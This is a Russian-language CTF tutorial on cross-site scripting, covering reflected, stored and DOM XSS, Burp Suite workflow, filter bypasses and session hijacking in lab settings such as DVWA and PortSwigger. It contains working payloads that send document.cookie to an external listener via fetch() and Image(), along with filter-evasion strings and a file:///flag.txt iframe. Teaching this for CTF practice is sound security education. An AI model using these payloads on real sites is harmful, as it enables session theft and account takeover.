
На CTF прошлой весной задание на 300 очков свелось к форме комментариев: бот-администратор просматривал каждый новый пост, флаг лежал в его session cookie. Типичный stored XSS — но фильтр вырезал <script>, а <img onerror> отбрасывался кастомным правилом. Три итерации пейлоада, обход через <svg/onload>, один fetch() на внешний listener — session cookie админа в логах за 40 минут. Из них 30 ушло на подбор пейлоада и ровно ноль — на понимание, что делать с украденной cookie.
Именно этот разрыв между «знаю что такое XSS» и «решаю задание за полчаса» мы здесь и закроем. Полная цепочка: от поиска уязвимости до захвата сессии, с рабочими пейлоадами и конкретным workflow в Burp Suite.
Межсайтовый скриптинг в CTF-заданиях делится на три типа, и каждый требует принципиально разного подхода к эксплуатации. Прежде чем лезть в пейлоады — разберись, с чем имеешь дело. Подробнее — в нашем обзоре пентест веб-приложений.
| Тип | Где хранится пейлоад | Как жертва его триггерит | Сложность эксплуатации | Частота в CTF |
|---|---|---|---|---|
| Reflected XSS | В URL (GET/POST-параметр) | Переходит по подготовленной ссылке | Низкая | Часто |
| Stored XSS | На сервере (БД, логи, файлы) | Открывает страницу с сохранённым пейлоадом | Средняя | Очень часто |
| DOM-based XSS | Нигде — обрабатывается клиентским JS | Переходит по ссылке с hash-фрагментом | Высокая | Реже, но растёт |
Reflected XSS — простейший вариант cross-site scripting. Пейлоад передаётся через параметр URL, сервер отражает его в ответе без санитизации, браузер исполняет JavaScript. В CTF это выглядит так: страница поиска, параметр ?search= выводится как есть. Подставляешь <script>alert(1)</script> — видишь popup — reflected XSS подтверждён.
По данным ctf101.org, reflected XSS «требует, чтобы жертва перешла по подготовленной ссылке с ресурса, контролируемого атакующим». В CTF это решается ботом, которому отправляется URL. Chrome удалил встроенный XSS Auditor ещё в 2019 году (начиная с Chrome 78), и сейчас этот механизм отсутствует — роль митигации reflected XSS на клиенте частично взяла на себя CSP.
Где встречается: CTF-задания начального уровня, учебные платформы (DVWA, bWAPP). В реальном web пентесте reflected XSS через GET-параметры попадается всё реже — шаблонизаторы экранируют автоматически.
Stored XSS — самый частый тип в CTF и традиционно самый опасный подтип XSS: никакой социальной инженерии для доставки не нужно. XSS отнесён OWASP к категории A03:2021 — Injection. Пейлоад сохраняется на сервере — в комментариях блога, профиле пользователя, сообщениях чата, логах. Бот-администратор открывает страницу — JavaScript исполняется в контексте его сессии.
Классический CTF-сценарий из лаборатории PortSwigger Web Security Academy: блог с комментариями, симулированная жертва просматривает все комментарии после публикации. Вставляешь XSS пейлоад в комментарий — жертва заходит — cookie улетает на listener.
Менее очевидный сценарий: stored XSS через HTTP-заголовок User-Agent. Приложение логирует заголовки и выводит их в админ-панели. Отправляешь запрос с пейлоадом в User-Agent — администратор открывает логи — пейлоад срабатывает. На CTF-площадках такие задания попадаются регулярно, и многие на них спотыкаются — не догадываются проверить заголовки.
Где встречается: задания среднего и продвинутого уровня. PortSwigger Web Security Academy, root-me.org, HackTheBox.
DOM-based XSS стоит особняком. Сервер может корректно экранировать весь вывод, но клиентский JavaScript берёт данные из URL и вставляет их в DOM без санитизации. Как пишет ctf101.org, «сервер не виноват — проблема в клиентских скриптах». Серверные логи не покажут ничего подозрительного — вот что делает DOM-based XSS самой скрытной разновидностью.
Типичный паттерн: страница содержит JS-код, который читает location.hash или document.URL и вставляет данные через innerHTML или document.write(). Конструкция page.html#<img src=x onerror=alert(1)> выполнит код без единого «опасного» запроса к серверу.
Когда техника НЕ работает: если приложение использует textContent вместо innerHTML; если CSP запрещает inline-скрипты через script-src без unsafe-inline; если клиентский код обрабатывает ввод безопасными DOM API (createElement + textContent).
XSS — не самоцель, а звено в kill chain. Если маппить на MITRE ATT&CK (с оговоркой, что модель описывает компрометацию хоста/сети, а строгого канонического маппинга XSS внутри одного веб-приложения нет), эксплуатация XSS уязвимости в CTF проходит через четыре этапа:
alert(1) сработал — execution подтверждён.document.cookie и отправляет данные на внешний сервер (T1539, Steal Web Session Cookie). Здесь alert() превращается в боевой пейлоад.В CTF цепочка сжимается до минут. В реальном web пентесте добавляются слои защиты: Content Security Policy, HttpOnly cookie, SameSite-атрибуты, WAF. Но скелет атаки тот же.
Первый шаг — найти все параметры, которые приложение принимает и отражает на странице. Не только очевидные поля формы — в CTF-заданиях XSS прячется в неожиданных местах:
/nonexistent<test> и проверь, отобразится ли <test> в теле ответа.Методика: вставляй уникальный маркер (например, xss7test) в каждый параметр по очереди, затем ищи его в исходном коде ответа через Ctrl+U → Ctrl+F в браузере или через Search в Response Burp Suite. Маркер отображается — это потенциальная точка инъекции. Записывай все найденные точки и двигайся дальше.
Контекст определяет, какой пейлоад сработает. Подставь строку '"><test> в параметр и изучи, как она отобразилась в HTML-коде ответа.
Контекст HTML-тела — маркер между тегами: <div>ВАШВВОД</div>. Работают стандартные пейлоады: <script>alert(1)</script>, <img src=x onerror=alert(1)>.
Контекст атрибута — маркер внутри атрибута тега: <input value="ВАШВВОД">. Нужно сначала закрыть кавычку и атрибут: " onmouseover="alert(1) — или закрыть тег полностью: "><script>alert(1)</script>.
Контекст JavaScript — маркер внутри <script>: var x = 'ВАШВВОД';. Закрываешь строку и дописываешь код: '; alert(1); //. Ошибка в синтаксисе JS убьёт весь блок скрипта — проверяй в DevTools Console.
Контекст URL/href — маркер в href или src: <a href="ВАШВВОД">. Может сработать протокол javascript:alert(1).
После определения контекста — тестируй фильтры. Подставь строку '":;<>/\[]<script><h1> и сравни ввод с выводом. Что исчезло или закодировалось — это карта фильтрации, от которой строится обход.
Требования к окружению: - ОС: Windows 10+, macOS 10.14+, Linux (любой дистрибутив с GUI) - RAM: 4 ГБ минимум, 8 ГБ рекомендуется - Burp Suite Community Edition (бесплатная) — Repeater и базовый Intruder. Professional — для Collaborator и полноценного сканера - Браузер с настроенным прокси на 127.0.0.1:8080 (FoxyProxy для быстрого переключения)
Repeater — основной инструмент для XSS в CTF. Перехватываешь запрос через Proxy, кидаешь в Repeater (Ctrl+R), модифицируешь параметры и отправляешь повторно, наблюдая за ответом.
Рабочий процесс: перехвати запрос с формой (комментарий, поиск), найди параметр, который отражается в ответе. В Repeater подставляй пейлоады один за другим. Во вкладке Response ищи свой пейлоад через поиск — смотри, что с ним произошло: закодирован, обрезан, обёрнут. Вкладка Render покажет визуальный результат — popup или изменённый DOM подтвердят работу пейлоада. Это быстрее, чем прыгать между браузером и исходным кодом.
Конкретный приём: отправь <b>test</b> и проверь, отрендерился ли текст жирным. Если да — HTML-теги не экранируются, и ты в одном шаге от рабочего XSS пейлоада.
Когда ручной перебор затягивается, Intruder автоматизирует подстановку. Кидаешь запрос из Repeater в Intruder (Ctrl+I), выделяешь параметр как позицию для подстановки (кнопка Add §), загружаешь список XSS пейлоадов.
Где брать списки: PortSwigger XSS cheat sheet (portswigger.net/web-security/cross-site-scripting/cheat-sheet) — сотни пейлоадов, разбитых по тегу, событию и контексту. В SecLists (github.com/danielmiessler/SecLists) — директория Fuzzing/XSS с файлами под разные ситуации.
В Community Edition Intruder работает с throttling (одна попытка в секунду), но для CTF хватает — rate-limiting в заданиях почти не встречается. Отсортируй результаты по длине ответа (Length) — аномальная длина (больше или меньше остальных) указывает на успешную инъекцию или на иной ответ фильтра.
Ограничение: Intruder не заменяет ручной анализ контекста. Слепой фьюзинг без понимания, куда попадает пейлоад, — пустая трата времени. Сначала определяешь контекст в Repeater, потом фьюзишь конкретные пейлоады для этого контекста в Intruder.
Рабочий XSS найден — пора превращать alert(1) в перехват session cookie. В CTF это ключевой этап: бот-администратор с флагом в cookie заходит на страницу, и нужно вытащить его данные.
Прежде чем отправлять боевой пейлоад, подготовь сервер-приёмник. Три варианта по возрастанию сложности:
webhook.site — бесплатный сервис, генерирует уникальный URL и показывает все входящие запросы в реальном времени. Ноль настройки. Открываешь сайт, копируешь URL, используешь как endpoint. Для большинства CTF хватает за глаза.
Burp Collaborator (Burp Professional) — открываешь вкладку Collaborator, копируешь уникальный поддомен. Все HTTP/DNS-запросы логируются. По документации PortSwigger, это рекомендуемый способ для их лабораторий.
Свой HTTP-сервер — минимальный listener запускается одной командой python3 -m http.server 8888 на VPS с белым IP. Все GET-запросы с cookie в URL будут видны в терминале. Для CTF GET через параметр — более чем достаточно.
Пейлоад должен прочитать document.cookie и отправить значение на listener. Два подхода — оба подтверждены как рабочие в лабораториях PortSwigger.
Через fetch() — POST-запрос. Рекомендуемый подход из документации PortSwigger Web Security Academy:
<script>
fetch('https://YOUR-LISTENER-URL', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>
Этот пейлоад вставляется в комментарий, профиль или любое stored-поле. Параметр mode: 'no-cors' подавляет CORS-ошибку в консоли при попытке прочитать ответ (что для эксфильтрации не требуется) и явно указывает браузеру не выполнять CORS-проверку ответа. Сам POST-запрос с телом text/plain отправляется независимо от этого параметра — он относится к simple requests и не триггерит preflight. По данным walkthrough от CyberSec Cafe, после вставки пейлоада в комментарий блога HTTP-взаимодействие с cookie в теле POST-запроса появляется в Collaborator практически мгновенно.
Через Image() — GET-запрос. Альтернативный подход, описанный на pentest-tools.com. Создаётся объект Image, атрибуту src присваивается URL listener с cookie в GET-параметре:
<script>
new Image().src="https://LISTENER/steal?c="+encodeURIComponent(document.cookie); // encodeURIComponent() обязателен: символы = и ; в cookie исказят GET-параметр. Image src на http:// с https-страницы — passive mixed content: Chrome/Firefox обычно НЕ блокируют такие запросы (в отличие от fetch/XHR — active mixed content), но HTTPS-listener рекомендуется для надёжности
</script>
Браузер делает GET-запрос для «загрузки картинки», и cookie оказывается в URL в логах сервера. Вариант компактнее и работает даже в старых браузерах, где fetch() недоступен. На практике я чаще использую именно его — меньше символов, проще вставить в ограниченное поле.
Когда кража cookie НЕ сработает:
- Флаг HttpOnly на cookie — document.cookie не вернёт защищённую cookie. В CTF HttpOnly обычно отключён, но в реальном пентесте это стандартная защита (OWASP рекомендует устанавливать для session cookie)
- CSP с script-src 'self' или script-src 'nonce-...' — браузер заблокирует inline-скрипт. В продвинутых CTF CSP может быть частью задачи
- Атрибут SameSite=Strict — cookie не отправится при cross-origin навигации
- Сетевая изоляция — если CTF-платформа не пускает исходящие запросы, данные не дойдут до listener. Тут приходится искать альтернативные каналы эксфильтрации (DNS, или CSRF для «записи» cookie в доступное место)
Получив cookie из логов listener, открывай целевое приложение, переходи в DevTools → Application → Cookies и заменяй значение session cookie на украденное. Обнови страницу — ты в сессии администратора.
В Burp Suite это делается через Proxy: перехвати любой запрос к приложению, замени значение заголовка Cookie на украденный токен, отправь. По документации PortSwigger, для подтверждения захвата достаточно запросить /my-account с подставленной cookie — откроется страница аккаунта жертвы. Флаг обычно лежит на этой странице или в скрытом поле профиля.
Фильтрация — это то, что превращает задание на 100 очков в задание на 500. Систематизированные техники обхода, организованные по типу фильтра:
Фильтр удаляет <script> (однократная замена) — пейлоад <scr<script>ipt>alert(1)</scr</script>ipt> после удаления внутреннего тега оставляет рабочий <script>alert(1)</script>. Работает только если замена не рекурсивная. Такие наивные regex-фильтры встречаются почти исключительно в учебных CTF начального уровня — но встречаются.
Фильтр удаляет все известные теги (blacklist) — бери менее популярные теги: <svg/onload=alert(1)>, <details open ontoggle=alert(1)>, <body onload=alert(1)>, <marquee onstart=alert(1)>. PortSwigger XSS cheat sheet содержит полный реестр тегов с указанием поддержки по браузерам. Я обычно начинаю с <svg/onload> — он проходит чаще всего.
Фильтр кодирует угловые скобки — прямая инъекция тегов невозможна. Работай с имеющимся контекстом:
- В атрибуте: " onfocus="alert(1)" autofocus=" — закрываешь кавычку, добавляешь event handler, автофокус триггерит событие без действий пользователя
- В JS-блоке: '; alert(1); // — закрываешь строку, дописываешь код, комментируешь остаток
- В href: javascript:alert(1) — протокол JavaScript не требует угловых скобок
htmlspecialchars() с ENT_QUOTES — PHP-функция кодирует <, >, ", ', &. При корректном применении обход средствами HTML-инъекции практически невозможен. В CTF это обычно сигнал: уязвимость в другом месте — ищи DOM-based XSS или инъекцию через необработанный канал (заголовки, другие поля).
Case-мутация — если фильтр проверяет <script> с учётом регистра (case-sensitive), попробуй <ScRiPt>alert(1)</sCrIpT>. HTML-парсеры браузеров case-insensitive, а кастомные серверные фильтры часто этим грешат.
Двойное URL-кодирование — %253Cscript%253E проходит, если сервер декодирует URL дважды (один раз на reverse proxy, второй в приложении).
Кодирование через HTML-entities — <script>alert(1)</script> или decimal-варианты. Работает, когда фильтр проверяет сырой ввод, а декодирование происходит позже на этапе рендеринга.
Ограничение всех техник: каждый обход — эксплуатация конкретной реализации фильтра. Универсального bypass не существует. В CTF фильтры кастомные и предсказуемые. В реальном web пентесте WAF-решения (Cloudflare, ModSecurity с OWASP CRS) блокируют большинство этих конструкций из коробки, и обход требует значительно более глубокого анализа правил и поведения конкретного WAF.
Требования к окружению: - ОС: любая с Docker (Windows 10+, macOS, Linux) — для DVWA - RAM: 2 ГБ минимум (Docker + DVWA) - Для PortSwigger Labs: только браузер, без локальной установки - Burp Suite Community Edition + браузер с настроенным прокси
Сценарий 1: DVWA — reflected XSS с повышением сложности. Запускаешь DVWA командой docker run -d -p 81:80 vulnerables/web-dvwa (флаг -d запускает контейнер в фоне; если использовать --rm, контейнер и БД удалятся при остановке). Образ vulnerables/web-dvwa включает встроенный Apache, PHP и MySQL в одном контейнере и работает standalone — для других DVWA-образов может понадобиться отдельный контейнер БД через docker-compose. Логин admin/password, кнопка Create/Reset Database. Security Level: Low → страница /vulnerabilities/xss_r/, параметр name отражается без фильтрации. Подставляй пейлоады через Repeater. Затем Medium — фильтр вырезает <script>, нужен обход через альтернативные теги. High — более агрессивная фильтрация, нужен анализ конкретной реализации.
Сценарий 2: PortSwigger Lab — stored XSS и кража cookie. Бесплатная лаборатория «Exploiting cross-site scripting to steal cookies». Stored XSS в комментариях блога с ботом-жертвой. Полная цепочка от поиска XSS до session hijacking. Требуется Burp Professional для Collaborator или webhook.site как альтернатива.
Сценарий 3: Server-side XSS через PDF-генератор. На root-me.org есть задание «XSS - Server Side» (описано в walkthrough internet-lab.ru): XSS выполняется не в браузере пользователя, а в серверном движке генерации PDF (wkhtmltopdf или аналоги). Пейлоад вставляется через поле регистрации (имя пользователя), сервер генерирует PDF с исполнением HTML. Через тег <iframe src=file:///flag.txt> содержимое файла встраивается в генерируемый PDF — атакующий скачивает готовый документ и видит флаг прямо в нём, без отдельного канала эксфильтрации. Нестандартный сценарий, который расширяет понимание XSS за рамки классического session hijacking.
Для каждого сценария формула одна: разведка точек входа → определение контекста → подбор пейлоада → эксплуатация → получение флага. Разница — в фильтрах и способе доставки.
Большинство CTF-игроков застревают на этапе «знаю что такое XSS, но не могу решить задание». Причина почти всегда одна: пейлоады заучиваются без привязки к контексту. <script>alert(1)</script> — не универсальная XSS-атака, а конструкция для одного конкретного случая: HTML body, без фильтрации, без CSP. В атрибуте она бесполезна. В JavaScript-блоке — бессмысленна. При htmlspecialchars — мертва.
Команды, которые стабильно закрывают XSS-задания на соревнованиях, работают по алгоритму: маркер → контекст → фильтры → пейлоад. Никогда наоборот. Занудно — но экономит часы, когда каждая минута стоит очков.
Отдельная тема — переход от CTF-заданий к реальному web пентесту. На соревнованиях фильтры кастомные и обходятся за 15 минут анализа. На проекте между тобой и session hijacking стоят WAF с регулярно обновляемыми правилами, CSP с nonce, HttpOnly и SameSite на каждой cookie, и клиент, который спросит «а какой бизнес-импакт от вашего alert?». Этот зазор — не теория, а конкретная практика обхода защит в конкретных продуктах. Если интересно пройти дистанцию от XSS-основ до полноценной эксплуатации веб-уязвимостей на уровне OSCP — на WAPT эту цепочку разбирают в нескольких модулях с лабами под каждый вектор.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...